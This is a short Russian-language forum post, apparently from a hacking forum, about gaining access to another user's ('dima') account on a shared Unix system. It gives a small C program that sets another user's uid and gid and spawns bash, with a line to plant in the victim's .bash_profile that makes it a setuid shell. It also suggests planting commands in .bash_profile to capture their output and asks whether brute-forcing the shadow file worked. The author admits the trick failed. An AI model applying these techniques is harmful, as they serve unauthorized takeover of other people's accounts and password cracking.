
29.06.2007, 14:26
|
|
Участник форума
Регистрация: 04.02.2007
Сообщений: 120
Провел на форуме: 306837
Репутация:
36
|
|
так должно сработать (если бы был uid 0):
Код:
#include<stdio.h>
int main(){
setuid(тут_uid_dima);
setgid(тут_gid_dima);
system("bash");
return 0;
}
собираем и добавляем в .bash_profile:
chmod +s /path_to_shell/shell > /dev/null 2>&1
добавлено позже:
гм, похоже, этот способ не подойдет. 
когда uid отличен от 0, тоже ничего не получилось.
остается только в .bash_profile написать
интересующие команды и перенаправть вывод в файл.
брут shadow что-нть дал?
Последний раз редактировалось andy13; 29.06.2007 в 17:02..
|
|
|